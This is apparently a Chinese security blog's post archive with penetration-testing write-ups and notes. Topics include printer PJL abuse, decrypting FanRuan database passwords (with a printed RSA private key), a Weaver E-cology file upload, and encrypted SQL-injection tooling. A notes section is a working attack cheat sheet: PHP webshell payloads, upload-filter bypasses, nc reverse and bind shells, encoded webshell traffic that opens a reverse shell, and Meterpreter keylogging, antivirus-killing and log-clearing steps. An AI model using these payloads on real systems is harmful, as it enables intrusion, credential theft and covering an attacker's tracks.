打印机的Web存在的问题：爆破破解、越权访问等。这个可通过使用Web渗透的方式进行测试。我测试的时候发现有默认密码、信息泄露等。

打印机专用服务(PJL)分析

PJL是打印机作业语言:printer job language。PJL语言有固定的格式。
报文格式.png
对PJL命令文档中的PJL命令进行了整理：

PJL以"\x1B%-12345@PJL JOB"开始，以"\x1B%-12345"结束，其中每条指令应当独占一行，指令间需要有carriage return（0x0D）。使用者可以自定义指令。

@PJL FSDELETE NAME = “pathname” [<CR>]<LF>                           # 删除文件  

@PJL FSDOWNLOAD FORMAT:BINARY [SIZE=int] [<CR>]<LF>                  # 下载文件到打印机

@PJL FSINIT VOLUME = “pathname” [<CR>]<LF>                           # 初始化打印机文件系统

@PJL FSMKDIR NAME = “pathname” [<CR>]<LF>                            # 创建目录

@PJL DINQUIRE CPLOCK                                                 # 检查控制面板状态

@PJL DINQUIRE PASSWORD                                               # 检查密码保护状态

@PJL JOB PASSWORD = [Number:0 to 65535]                              # 当前密码保护密码

@PJL DEFAULT PASSWORD [Number:0 to 65535]                            # 修改保护密码

@PJL DEFAULT CPLOCK = [ON, OFF]                                      # 控制面板状态

@PJL SET IOBUFFER = [ON, OFF, AUTO]                                  # 设置缓冲区

@PJL SET IOSIZE = [10-100]                                           # 设置缓存区大小

@PJL SET PCNAME = [String]                                           # 设置计算机名称

@PJL SET HOLD = [ON, JOB, STORE, PROOF]                              # 设置文件保存

@PJL SET HOLDKEY = [Number:0000 to 9999]                             # 设置保存文件密码

@PJL DEFAULT DISKLOCK = [ON, OFF]                                    # 设置硬盘锁定状态

@PJL SET SPOOLTIME                                                   # 设置打印日期

@PJL SET COPIES                                                      # 设置打印数

@PJL SET JOBNAME                                                     # 设置打印机文件名称

@PJL SET RESOLUTION                                                  # 设置分辨率

@PJL SET DRIVERNAME                                                  # 设置驱动

@PJL USTATUS JOB                                                     # 输出 队列中还未打印任务的 状态

@PJL COMMENT                                                         # 添加注释

@PJL SET OUTTRAY                                                     #出纸盘(纸张输出位置)

@PJL SET ORIENTATION = [PORTRAIT, LANDSCAPE]                         #页面方向

@PJL SET DUPLEX = [ON, OFF]                                          #双工模式(双面打印)

@PJL SET BINDING = [LONGEDGE, SHORTEDGE]                             #双工模式：短边、长边

@PJL RNVRAM ADDRESS                                                  #读取内存

@PJL OPMSG DISPLAY                                                   #设置打印机离线脱机

@PJL SET SERVICEMODE                                                 #设置服务模式

@PJL WNVRAM ADDRESS                                                  #写入内存

@PJL FSDIRLIST NAME                                                  #读取目录

@PJL FSQUERY NAME                                                    #读取文件

@PJL FSUPLOAD NAME                                                   #文件上传

@PJL FSDOWNLOAD                                                      #写入文件

由于打印机并不去判断PJL命令是谁发起的，因此，只要路由可达任何人都可以对打印机执行PJL命令操作。
我测试的时候，发现对打印机的9100端口发送任何数据，打印机都会将其打印出来。如果，通过对9100端口进行DoS，那么，打印机就会不间断的工作。

工具

Hijetter.exe
PRET
pjl-tool

print.py

# coding=utf-8

import socket
import time
import sys


with open('1', 'rb') as f:
    pdata = f.read()
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((sys.argv[1],9100))
    sock.sendall(pdata)
    recv_data = sock.recv(1024)
    print recv_data
    sock.close()

总结

在对打印机进行安全测试的时候，发现了几个问题特此记录一下：
1.使用网络打印机的时候，流量报文是明文。将流量报文保存，可进行重放，将文档重新打印；

2.测试的打印机使用FTP向打印机上传文件，打印机立即打印，打印之后立马删除。不知道其他打印机是否会立即删除文件；

3.使用Python的socket可以达到快速网络数据发送。

]]> 安全打印机帆软数据库配置解密 /archives/df18668b.html 在某次红蓝演练中，通过帆软反序列化拿下服务器之后，发现数据库的配置信息被加密，通过查看帆软源代码最终将其解密。

decode

环境搭建

使用docker搭建

docker run -p 8081:8080 -p 8082:8000  -d ysslang/finedocker:persist-2022.05.20

由于MacOS容器跟宿主机不在同一个网络中，可以使用docker.for.mac.host.internal进行连接（容器连接宿主机）

修改容器里tomcat的catalina.sh文件，启动jdwp调试端口

export JAVA_OPTS='-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000'

重启容器

分析

前端进行配置操作时，会发起config/finedb请求

com.fr.web.controller.decision.api.migration.MigrationResource.updateFineDBConfig

初始化DB

根据路由日志可得知该请求为:

com.fr.web.controller.decision.api.migration.MigrationResource.updateFineDBConfig

2023-03-29 12:07:27 29-Mar-2023 12:07:27.258 信息 [localhost-startStop-1] com.fr.third.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.register Mapped "{[/{version}/migration/config/finedb],methods=[POST]}" onto public com.fr.decision.webservice.Response com.fr.web.controller.decision.api.migration.MigrationResource.updateFineDBConfig(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse,java.lang.String,com.fr.decision.webservice.bean.migration.DBConfigBean) throws java.lang.Exception

updateFineDBConfig

跟进updateFineDBConfig

public void updateFineDBConfig(DBConfigBean var1) throws Exception {
    var1.setPassword(this.getFineDBPassword(var1));
    MigrationContext.getInstance().updateFineDBConfig(var1);
}

跟进updateFineDBConfig

public synchronized void updateFineDBConfig(DBConfigBean var1) {
    MigrationDBConfiguration.getInstance().updateCache(var1.toDBOption());
}

跟进updateCache

public synchronized void updateCache(DBOption var1) {
    this.cachedOption = FineDBProperties.getInstance().get();
    Properties var2 = var1.getProperties();
    Iterator var3 = var2.stringPropertyNames().iterator();

    while(var3.hasNext()) {
        String var4 = (String)var3.next();
        this.cachedOption.addRawProperty(var4, var2.get(var4));
    }

    if (Log4jConfig.getInstance().getRootLevel() == Level.DEBUG) {
        this.cachedOption.addRawProperty("show_sql", true);
        this.cachedOption.addRawProperty("format_sql", true);
    }

}

跟进getProperties

public Properties getProperties() {
    return (Properties)this.properties.clone();
}

public DBOption read(InputStream var1) throws IOException {
    return this.read(var1, (PasswordCipher)null);
}

public DBOption read(InputStream var1, PasswordCipher var2) throws IOException {
    this.properties.load(var1);
    this.trimValues();
    if (var2 != null && this.properties.containsKey("hibernate.connection.password")) {
        this.properties.put("hibernate.connection.password", var2.decode(this.properties.getProperty("hibernate.connection.password")));
    }

    return this;
}

在进行DB配置读取时会调用decode进行解密，并且decode在com.fr.properties.finedb.DBPropertyCipher进行了实现。跟进之后可以看到具体实现解密功能的代码。

public String decode(String var1) {
        if (StringUtils.isEmpty(var1)) {
            return "";
        } else {
            String var2;
            try {
                var2 = StorageEncryptors.getInstance().decrypt(var1, FineDBSecretImpl.KEY.getPrivateKey());
            } catch (Exception var4) {
                throw new LifecycleFatalError(var4.getMessage(), var4);
            }

            if (null == var2) {
                throw new LifecycleFatalError("Error to decrypt database password!");
            } else {
                return var2;
            }
        }
    }

可以看到会调用decrypt函数进行解密，并且密钥为FineDBSecretImpl.KEY.getPrivateKey()。跟进之后发现会判断var1是否为空，如果不为空进入findMatchedText进行正则匹配之后返回var2。如果为空，直接返回

StorageEncryptors.getInstance().getCurrentSecurityKeys().getDecodeKey()

public String getPrivateKey() {
        String var1 = this.getText();
        if (StringUtils.isNotEmpty(var1)) {
            String var2 = this.findMatchedText(var1, PRIVATE_PATTERN);
            if (StringUtils.isNotEmpty(var2)) {
                return var2;
            }
        }

        return StorageEncryptors.getInstance().getCurrentSecurityKeys().getDecodeKey();
    }

跟进getDecodeKey之后，发现有两个实现：RSA、SM2，根据配置文件信息可得知数据库密码为RSA加密。跟进对应实现之后可以发现最终调用的是getDefaultDecodeKey。通过向DefaultKeys.getInstance().getKey传入不同参数获取公钥、私钥。继续跟进之后可以看到DefaultKeys进行初始化操作。

private DefaultKeys() {
        Properties var1 = this.read("/58f9/default");
        Properties var2 = this.read("/8d30/default");
        Properties var3 = this.read("/53c1/default");
        Iterator var4 = var1.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = var5.getKey().toString();
            this.keys.put(var6, var5.getValue().toString() + var2.getProperty(var6, "") + var3.getProperty(var6, ""));
        }

    }

跟进read函数，可发现最终是由com/fr/security/encryption/storage/keys/impl/var1进行获取

RSA Pri

RSA公钥、私钥

rsa_pub=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAj0yc/l+39O1XukrG1cA4rmJEDlmfdUZHVWFrFkYA3XvZI9FQIYjx/irVurCtXsgn88xWlvEMAlKQVdU5EDvv5q
rsa_pri=MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCPTJz+X7f07Ve6SsbVwDiuYkQOWZ91RkdVYWsWRgDde9kj0VAhiPH+KtW6sK1eyCfzzFaW8QwCUpBV1TkQO+/mpL71fzctXq3JKEVDiFVr6zWf54eFaPc9NNOwQs3tISZoJ3MU0Bx9dgT5znWa9ZKKg6S05FniX1KHexD5v8aKvvSEmT4BEjakTbGYRlAILW+SzytJprL8u4YT48GS4rjaptx9aQGG9dvwaqdbb7cDrWEVrxVJ1mYSrmqoO8JRIHGNWEBOAA7nupCh/e/XeXKfzOT4WD8ph5PWK7GClWpiMsBHKvZ/WFkGKJlPnI23BVWTf7i4/YDIiH6g0A66M1JrAgMBAAECggEAJ8Xt9TSADH0r0ksa8Q0PLmeb2BfMCHLfLbWCUYZQiyjq1eQsx4IJGLCu7chH9ny7ihF3HyH8YVClOw2ZbwYTygKD9gO/Ptp+hcylnN7kRrXcBmvu03qU1Ooqr0t7eIuw60u3x1kT7
sm2=MzA4MjAxNTEwMjAxMDEwNDIwYzQxYTMyYzRhOWMwMTFhYmE0Yzk2NjA4YjUwMDA1NzllNzA2ZmRmZDA2NDE4NjljNmRjNGJkNDY3MmQ1YWI4ZmEwODFlMzMwODFlMDAyMDEwMTMwMmMwNjA3MmE4NjQ4Y2UzZDAxMDEwMjIxMDBmZmZmZmZmZWZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmMDAwMDAwMDBmZmZmZmZmZmZmZmZmZmZmMzA0NDA0MjBmZmZmZmZmZWZmZmZmZmZmZmZmZmZmZmZmZmZm

解密函数实现

根据上述，可得知直接调用对应decode即可对加密数据进行解密

package org.passwordDecode;

import com.fr.properties.finedb.DBPropertyCipher;

public class pdDecode {
    public static void main(String[] args) {
        decodePass = DBPropertyCipher.getInstance().decode(encString.replace("\\r\\n","\n").replace("\\=","="));
        System.out.println(decodePass);
    }
}

decode

问题

在使用idea+maven进行打包的时候，发现如果将帆软的lib通过外部库引用的方式，打包之后无法调用（类找不到）。通过mvn install:install将对应jar安装到本地仓库即可

mvn install:install-file -Dfile=fine-core-10.0.jar -DgroupId=com.fr -DartifactId=core -Dversion=10 -Dpackaging=jar
mvn install:install-file -Dfile=fine-accumulator-10.0.jar -DgroupId=com.fr -DartifactId=accumulator -Dversion=10 -Dpackaging=jar
mvn install:install-file -Dfile=fine-activator-10.0.jar -DgroupId=com.fr -DartifactId=activator -Dversion=10 -Dpackaging=jar
mvn install:install-file -Dfile=fine-datasource-10.0.jar -DgroupId=com.fr -DartifactId=datasource -Dversion=10 -Dpackaging=jar
mvn install:install-file -Dfile=fine-decision-10.0.jar -DgroupId=com.fr -DartifactId=decision -Dversion=10 -Dpackaging=jar
mvn install:install-file -Dfile=fine-decision-report-10.0.jar -DgroupId=com.fr -DartifactId=decision-report -Dversion=10 -Dpackaging=jar
mvn install:install-file -Dfile=fine-report-engine-10.0.jar -DgroupId=com.fr -DartifactId=report-engine -Dversion=10 -Dpackaging=jar
mvn install:install-file -Dfile=fine-schedule-10.0.jar -DgroupId=com.fr -DartifactId=schedule -Dversion=10 -Dpackaging=jar
mvn install:install-file -Dfile=fine-schedule-report-10.0.jar -DgroupId=com.fr -DartifactId=schedule-report -Dversion=10 -Dpackaging=jar
mvn install:install-file -Dfile=fine-swift-log-adaptor-10.0.jar -DgroupId=com.fr -DartifactId=swift-log-adaptor -Dversion=10 -Dpackaging=jar
mvn install:install-file -Dfile=fine-third-10.0.jar -DgroupId=com.fr -DartifactId=third -Dversion=10 -Dpackaging=jar
mvn install:install-file -Dfile=fine-webui-10.0.jar -DgroupId=com.fr -DartifactId=webui -Dversion=10 -Dpackaging=jar

发现打包之后的jar找不到主属性清单，通过使用spring-boot-maven-plugin解决

<plugin>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-maven-plugin</artifactId>
    <version>2.3.7.RELEASE</version>
    <configuration>
        <mainClass>org.passwordDecode.pdDecode</mainClass>
    </configuration>
    <executions>
        <execution>
            <goals>
                <goal>repackage</goal>
            </goals>
        </execution>
    </executions>
</plugin>

]]> 安全渗透测试帆软泛微E-cology任意文件上传 /archives/be5ece47.html 这是一个“偶遇”泛微任意文件上传的故事。

故事起源

访问泛微安全补丁页面发现泛微ecology五月十一号更新了一个补丁，主要包括三个内容：

fastjson升级至1.2.68版本；
安全补丁包性能优化；
修复一些安全隐患；

看到修复一些安全隐患，那么代表肯定有安全漏洞！

漏洞发现

下载最新补丁分析之后，发现一个有趣的文件：uploadOperation，根据名称可以大概知道是一个上传的功能点，补丁包里面的uploadOperatio文件改成了直接输出error。

out.println("error");

根据名称和文件内容，猜测这个功能在之前的版本存在文件上传。翻出之前的版本查看uploadOperation文件，发现uploadOperation功能极其简单：根据请求包的上传请求，将文件保存在page/exportImport/fileTransfer目录下。并且在前后翻了许多遍，根本没有任何的过滤、校验！

漏洞验证

根据功能，构造一个文件上传的请求进行验证，发现可以直接上传jsp类型文件。

shell

漏洞危害

一开始理解该功能是需要登录才能使用，后面通过fofa搜索发现有某些版本可以不需要登录直接访问！！！代表该问题是一处没有任何限制的任意文件上传！！！

page/exportImport/uploadOperation.jsp

]]> 安全渗透测试漏洞分析泛微渗透测试-加密SQL注入 /archives/5f6b1580.html 在日站的时候，发现一处注入。但是注入语句被AES加密。通过Chrome进行单步debug，拿到了key、iv等信息。最后使用SQLMap加载tamper进行自动注入。

寻找注入点

渗透的时候，发现了一个页面，参数有initSql，看到这个参数名称猜测这个参数是用来进行SQL查询的，但是这个参数被加密了。将initSql的值替换成后一个请求的initSql参数的值，回显信息里面出现了SQL报错信息。

现在可以判断这个就是一个注入点，但是现在这样是没办法把数据成功注入出来！转头一想，进行请求的时候参数值已经被加密，那么这个加密操作十有八九是在前端通过JS进行加密，服务器再进行解密。

寻找加密信息

按照刚刚的思路，现在去import的JS里面进行寻找关键的加密函数以及加密，使用chrome开发者工具中的【Select an element in the page to inspect it】定位到【Sources】中的对应行业，点击左边的行数进行debug，通过不断的单步直至找到对应的js。

使用找到的iv、key可成功的对加密之后的语句进行解密，但是这样去注入得手工一点一点的去搞，还是得祭出SQLMap这种神器最方便。
想起SQLMap可以使用tamper加载脚本，对注入的payload进行处理。这里直接把代码贴上来给大家参考参考。

#!/usr/bin/env python

"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from Crypto.Cipher import AES

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):        
    BS = AES.block_size
    pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
    
    key = "xxxxxxxxxx"
    iv = "xxxxxxxx"


    cipher = AES.new(key)
    cipher = AES.new(key,
    AES.MODE_CBC, IV=iv)

    encrypted = cipher.encrypt(pad(payload))
    encrypted = base64.b64encode(encrypted)

    return encrypted

后面加载这个tamper就可以直接用SQLMap跑了。

总结

这个漏洞产生原因”大概“是因为上次被发现注入，开发人员”偷懒“直接调用CryptoJS进行加密，导致该漏洞产生；
现在很多操作都会放在前端进行操作，挖挖前端也是一种思路。

]]> 安全渗透测试 SQL注入 SQLMAP 渗透测试-响应加密SQL注入 /archives/8592a171.html 在渗透的时候，发现有一处注入点请求参数进行了des加密，并且响应包也通过des进行了加密。想使用sqlmap进行注入，发现sqlmap不支持响应包处理操作（tamper只适用于请求包处理）。通过flask进行处理，最终使用sqlmap成功注入。

寻找注入点

发现一处页面名称为doQuery，猜测是用来执行查询功能。POST请求包：其参数名为reqParam，其值为des加密字段（url编码）。

经过验证确实为des加密，如何寻找key、iv在此就不赘述了，可以去渗透测试-加密SQL注入了解。

查看对应的响应包，发现整个响应包内容都被加密了

使用对应的key能将响应包内容解密出来。

SQLMap

问题归纳

本以为SQLMap会自带功能对响应包进行解密，毕竟SQLMap支持自定义脚本（tamper）对请求包进行处理。根据sqlmap官方github仓库的issues，得知SQLMap不支持对响应内容进行编码处理。现在的问题点在于如何对response进行处理，认真想了想sqlmap支持proxy进行代理，那么可以通过代理将请求转发过来，由代理服务器对请求、响应进行处理。

flask代理

需要实现几个关键点：

对请求参数reqParam的值进行des加密，假定该值为encrypt_str
对encrypt_str进行url编码处理，假定该值为post_data
对响应包进行解密

这里就直接贴代码给大家参考参考。

import base64
import pyDes
import requests
import logging
from flask import Flask, request, Response
from urllib.parse import unquote, quote


app = Flask(__name__)


@app.before_request
def proxy():
    secret_key = b"****"
    k = pyDes.des(secret_key, pyDes.ECB, pad=None, padmode=pyDes.PAD_PKCS5)
    encrypt_test_str = unquote(request.get_data().decode())[9:]
    encrypt_str = k.encrypt(encrypt_test_str)
    post_data = b'reqParam=' + quote(base64.b64encode(encrypt_str)).encode()
    app.logger.info("Encrypt data:%s", post_data)
    resp = requests.request(
        method=request.method,
        url=request.url,
        headers={key: value for (key, value) in request.headers if key != 'Host'},
        data=post_data,
        cookies=request.cookies, allow_redirects=False, verify=False)
    excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection']
    headers = [(name, value) for (name, value) in resp.raw.headers.items()
               if name.lower() not in excluded_headers]
    response_data = base64.b64decode(resp.content)
    if b"false" in k.decrypt(response_data):
        app.logger.error('Response data:%s', k.decrypt(response_data))
    else:
        app.logger.info('Response data:%s', k.decrypt(response_data))
    response = Response(k.decrypt(response_data), resp.status_code, headers)
    return response


if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=True)

将请求保存到sql.txt里，需要注意的是在sql.txt中reqParam参数需为解密之后字符串。

sudo python sqlmap.py -r sql.txt --proxy http://127.0.0.1:5000

SQL注入问题解决

现在已经可以通过flask对请求、响应进行加密、解密等操作，但是查看sqlmap的返回结果，显示没有注入。Emmmm·····认真查看了json里面参数，发现有orderBy参数，直接使用*指定该参数，看看能不能有什么进展。

这时候发现响应内容为：{"errmsg":"ORA-01785: ORDER BY item must be the number of a SELECT-list expression\\n","success":false}'基本可以明确该点确实有问题，但是这次依旧跑不出来！

认真查看发现爆出了原始语句，最后对注入点的语句进行“优化”，成功跑出来。

总结

1.有时候可以通过自己编写一些小工具辅助工作，例如本次使用flask结合sqlmap；

2.在某些时候如果没有思路，对已有的信息再归纳归纳，或许有意想不到的收获，例如本次对注入点“优化”。

]]> 安全渗透测试 SQL注入 SQLMAP 渗透笔记整理 /archives/ff82748e.html 最近在整理印象笔记，其中有许许多多经验、研究和杂七杂八的想法，我会逐步上传到博客。
印象笔记截图.PNG

渗透笔记

CSRF

CSRF全名是Cross-site request forgery，理解上为伪造其他用户执行操作。

攻击

网页没有token头字段，通过请求拦截的方式，将对应URL记录下来。通过构建一个恶意页面，恶意页面代码如下:

# GET类型
<img src="操作行为的URL"> 

# POST类型
<form id="aa" action="操作行为的UR" method="post" name="form1"/>
<input type="submit" name="button" id="button" style="display:none;"/>
<script>window.location = "http://x.x.x.x";</script>

诱使对应人员点击该页面即可触发CSRF攻击。

防御思路

针对CSRF攻击，防御方面：

在重要操作执行钱需要进行验证码校验
站点添加token（或者自定义）头字段。由于token是随机并且一次性。在使用post方法时，防止token出现在URL（可以通过构建恶意网站使用户访问恶意网站恶意网站在后台构建假冒用户操作）
通过抓包删除referer 测试
针对CSRF攻击总结：防御方面为对操作进行用户身份验证；攻击方面可以构建的代码：form iframe img xhr link等。

攻击衍生

可以将XSS与CSRF结合：通过XSS让用户跳转到CSRF页面执行恶意操作。

SQL Injection

SQL Injection通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

攻击思路

最简单的注入思路就是针对id=、class=这些参数进行注入。看到过一次二次注入的思路：注册用户时将用户名设置成注入语句，在个人中心处注入语句被调用形成注入。因此，允许输入与数据库交互那么便有可能存在注入。例如cookie等报文头里面的数据，如果数据库会记录该数据那变可能存在注入。

攻击衍生

当站点对输入进行过滤（防御），可以尝试使用编码转换，将注入语句转码。

内网渗透

内网渗透是指渗透人员获取了一台内网主机时，针对内网进行内网渗透的过程。

Windows
# 查看用户权限
whoami
# 提权 
pr 
# 开启远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 查看计算机信息
systeminfo
# 获取密码
mimikatz
# 进程信息
tasklist /svc 
# 查看端口 
netstart -an

上传漏洞

IIS6.0

1.目录名称为a.asp，该目录下的文件都会以asp解析；
2.上传a.asp;.xx.jpg类型的文件，由于IIS6.0解析”;”会截断，所以在解析时可以理解为以asp文件类型解析。

IIS7.0/7.5+Nginx≤0.8.37

IIS7.0/7.5，在PHP配置文件中，开启了cgi.fix_pathinfo（该配置默认开启），当文件为php类型，iis会交给php解析；
nginx和iis7.5类似:
Fast-CGI开启状况（默认），上传内容为:

<?php fputs(fopen('cmd.php','w'),'<?php eval($_POST[cmd])?>');?>

的x.jpg。访问../../../x.jpg/.php会在根目录下生成一个cmd.php;

在文本前面加上 Gif89a 让服务器以为该文本为图片类型文件;
双文件上传通过在上传<input type="FileName" type="FILE">后面在加入<input type="FileName" type="FILE">。下载网页源码另存为到桌面然后第一个地方上传正常图片第二个地方上传马;
上传一句话木马可以对一句话多次加密。
上传成功之后，如果连接一句话被防护设备阻断，可以通过修改菜刀进行连接。原理是因为当前防护设备是针对网络流量进行识别，当流量中出现对应关键字会进入识别流程，当所有条件都满足时就会阻断该流量。该方式绕过方式千千万，只要特征不命中即可。

SQL命令

记录MySQL数据库在渗透的时候可以用到的命令：

# 导出文件
Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/eval.php';
## 导出一句话
create table cmd (a varchar(50));
insert into cmd (a) values ('一句话木马');
select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;'from cmd;
drop table cmd;
Select 'asp一句话木马' into [vote] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 8.0;' fromvote;
select into outfile(dumpfile);  //MySQL写文件命令 (例如：select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";）

# 系统用户名
system_user()
# 用户名
user()
# 当前用户名
current_user
# 连接数据库的用户名
session_user()
# 数据库名
database()
# MYSQL数据库版本
version()
# MYSQL读取本地文件的函数
load_file()
# 读取数据库路径
@@datadir
# MYSQL 安装路径
@@basedir
# 操作系统
@@version_compile_os

PHP爆破路径

1.错误参数爆路径
2.google搜索： sieze:xxx.com warning size:xxx.com phpmyadmin(phpMyadmin
3.测试文件爆路径 test.php ceshi.php info.php
4.注入点读取配置文件 load_file

小迪学习笔记

我在刚刚接触渗透的时候，经常会看小迪的渗透教程视频。那时候，边学边记。

小迪第一讲

小迪第一讲主要讲解一下基础的知识，便于后期理解。
软件：APMServ

# web环境
iis6.0（Windows2003）
iis7.X（win7 Windows2008）
Apache（linux Windows）
# 常见搭配
asp + access + iis
asp + sqlserver + iis
php + mysql + Apache tomcat 
jsp + sqlserver + tomcat
jsp + oracle +tomcat
aspx + sqlserver + iis

小迪第四讲

一个页面 http://www.xxx.com/xxx.asp?id=xx,存在cookie注入。使用SQLMap进行攻击，命令如下：`sqlmap： sqlmap.py -u http://www.xxx.com/xxx.asp –cookie “id=xx” –level 2`

小迪第五讲

数字型注入：and 1=1。例如:select from admin where id=1
字符型注入：' and '1'='1,在代码处由于字符型需要加单引号或者双引号。例如:select from admin where a='a'
搜索型注入：%'

小迪第七讲

通过 load_file 读取后台文件例如：前台页面向后台login.php传递参数并判断然后跳转这时候可以通过 load_file sql注入语句来读取login.php文件

小迪第九讲

服务器常见状态码：

1XX：正在处理
2XX：成功
3XX：重定向
4XX：客户端错误 403：存在（没权限） 404：不存在
5XX：服务器错误 500：可能存在

小迪第十讲

该课程主要讲解mssql综合利用工具，由于是工具利用，所以并没有详细记录。

小迪第十一讲

验证机制分为：本地、远程。本地验证可以通过禁用、删除等方式进行绕过。
解析漏洞：

IIS6.0：
文件名： 1.asp;.jpg
文件夹：用户名为 1.asp  文件类型：1.jpg

IIS7.X   uginx：
http://www.xxx.com/logo.gif
解析漏洞:http://www.xxx.com/logo.gif/x/php

apache:
首先是否系统能否解析的后缀名
http://www.xxx.com/logo.php.asdasd  最后的后缀无法识别 便继续往前推

小迪第十二讲

IIS 解析漏洞利用path：a.asp;.,在上传的时候通过修改文件前缀。不单单是文件前缀，如果上传包中存在path，可以通过修改path。因为有时候验证是通过文件名filename，而不验证filepath。
图片马使用UE（uedit）编辑器即可添加。

小迪第十四讲

针对上传绕过时，首先需要知道过滤方式。可通过多次上传来猜解其过滤方式。
利用手段

00截断：1.asp’\0’.jpg:
通过UE将上传包保存为文本文档在上传文件名后面加上：空格 .jpg。例如　1.asp .jpg。
通过UE将空格 20 修改为 00
在上传包文本中包长度 length 数值加5
检验文件类型通过抓包修改
过滤不全 asp asa cer cdx htr
检验文件头：在文件头前面加上 GIF89a

工具

一句话流量学习

# url执行命令
POST /test.php HTTP/1.1
X-Forwarded-For: 199.1.88.29
Referer: http://192.168.168.147
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Host: 192.168.168.147
Content-Length: 569
Cache-Control: no-cache

cmd=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyAneyRzfSciOiIvYyB7JHN9Ijskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIpOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=L2Jpbi9zaA%3D%3D&z2=Y2QgIi92YXIvd3d3L2h0bWwvIjtuYyAxOTIuMTY4LjEwLjExIDEzMzcgLWUgL2Jpbi9iYXNoO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ%3D%3D

NC工具

正向连接：
     服务器命令：nc -l -p 1337 -e /bin/bash
     客服端使用：nc >nc x.x.x.x 1337
反向连接：
     服务器命令：nc 192.168.10.11 1337 -e /bin/bash
     客户发命令：nc -lvv -p 1337

Metasploit-msfconsole工具

Metasploit是一个优秀的渗透测试框架！！！！！！！

攻击阶段：

使用msfconsole打开Metasploit

使用nmap扫描来发现开放端口nmap -T4 -A -v x.x.x.x

使用search命令来搜索需要的exp

使用use命令来打开exp，之后使用show options查看需要指定的参数

使用set rhost等来设置参数之后，通过exploit来获取meterpreter会话

信息收集阶段：

获取服务器信息（sysinfo、getuid、idletime、run get_env、ifconfig、route）

获取服务器当前截屏（screenshot）

获取服务器进程信息（ps）

将 meterpreter会话迁移至explorer（migrate）

开启键盘记录，输出（keyscan_start、keyscan_dump）

获取服务器shell（shell）

检测服务器是否为虚拟机（run checkvm）

启动远程桌面（run getgui -e）;启动telnet服务（run gettelnet -e）

获取子网状况（run get_local_subnets）

编辑hosts（run hostedit）

查看已经登录的用户数（run enum_logged_on_users）

获取已安装应用程序（run get_application_list）

获取驱动器信息（run windows/gather/forensics/enum_drives）

获取产品密钥（run windows/gather/enum_ms_product_keys）

获取autologin（run windows/gather/credentials/windows_autologin）

使用自动脚本获取系统信息（run winenum）

获取服务器额外信息（run scraper；信息存放路径为：.msf5/logs/scrips/scraper/192.x.x.x.x）

清理痕迹阶段：

检测防火墙状态（run getcountermeasure）

关闭杀毒软件（run killav；find / -name ‘killav.rb’；/usr/share/metasploit-framework/scripts/meterpreter/killav.rb）

清理日志（clearev）

Nmap

Nmap常用命令汇总记录

Nmap常用命令参数讲解
-d [level] (提高或设置调试级别) 。 
-sT tcp端口扫描(完整三次握手)。
-sU udp扫描。(不回应可能端口打开,回应是关闭) 
-sL dns反向解析。    
-sM[fin ack mainmon扫描] 。
-sS隐蔽扫描(半开syn)。
-sP发现扫描网络存活主机。(直连arp非直连tcp80 icmp)
-sO确定主机协议扫描。
-sA tcp ACK扫描。
-sW 对滑动窗口的扫描sI[idlescan]。
-sR  RPC扫描。(flag没有syn,ack,rst回送rst)
-sN 关闭主机发现【空】。(不管是否存在直接扫描)
-sF FIN扫描 。(sN sF sX逃避不了ids)
-sX Xmas扫描 (fin psh urg为置位)。
-sI 完全隐藏。【以一个跳板主机{无流量}扫描另一台主机】
-sV 服务版本。
-sC 跟安全有关的脚本
-P0 指定协议。(不ping主机)(1icmp6tcp17udp47gre50esp51ah53swipe77sun-nd115l2tp120uti132sctp) 
-PS 端口列表用,隔开[tcp80 syn 扫描]
-PA 端口列表用,隔开[ack扫描](PS+PA测试状态包过滤防火墙【非状态的PA可以过】)【默认扫描端口1-1024】
-PU 端口列表用,隔开[udp高端口扫描 穿越只过滤tcp的防火墙]
-PE [icmp ping types]
-PM 掩码请求。
-PR [arp ping] 默认直连用。
-PN 自己。
-PP 时间请求。

GoogleHack

使用Google搜索往往能获得意想不到的信息。

ps：不区分大小写
all开头一次查询只能使用一个
intext:关键词 （搜索页面正文包含关键词的网页）
allintext:关键词,关键词 （拼接多个关键词）
intitle:关键词 （搜索页面标题包含关键词的网页）
